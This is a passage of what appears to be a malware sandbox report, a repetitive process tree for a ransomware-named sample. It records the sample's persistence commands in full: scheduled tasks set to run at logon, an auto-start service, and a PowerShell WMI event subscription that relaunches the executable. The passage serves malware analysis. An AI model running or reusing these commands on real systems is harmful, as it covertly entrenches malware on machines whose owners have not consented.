      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3168
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:9052
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:9960
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:8840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:9900
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:2776
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15972
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:9404
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6432
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:11204
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:9468
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:10444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:10508
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:6700
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:11772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:7520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:12768
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7280
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:11936
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:13248
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:14952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:8760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:18484
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:12728
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7688
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:16492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:16656
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:18912
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9156
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:19536
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:6472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:3256
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:7432
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:7744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:8096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1548
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:13636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:11176
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:14548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:16744
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:11032
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:15780
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:19180
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:18764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:18948
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:8772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:8956
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:9700
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:6104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:3376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10704
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:10732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:10884
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:6108
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Launches sc.exe
      PID:10536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:12636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:13332
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:7836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:3756
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:11676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:12596
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Launches sc.exe
      PID:2856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:6024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:19188
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:6096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:5144
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4792
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:16392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:16536
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:11196
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:18840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:19480

C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:3620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\system32\sc.exe
    sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    - Launches sc.exe
    PID:3388
- C:\Windows\system32\cmd.exe
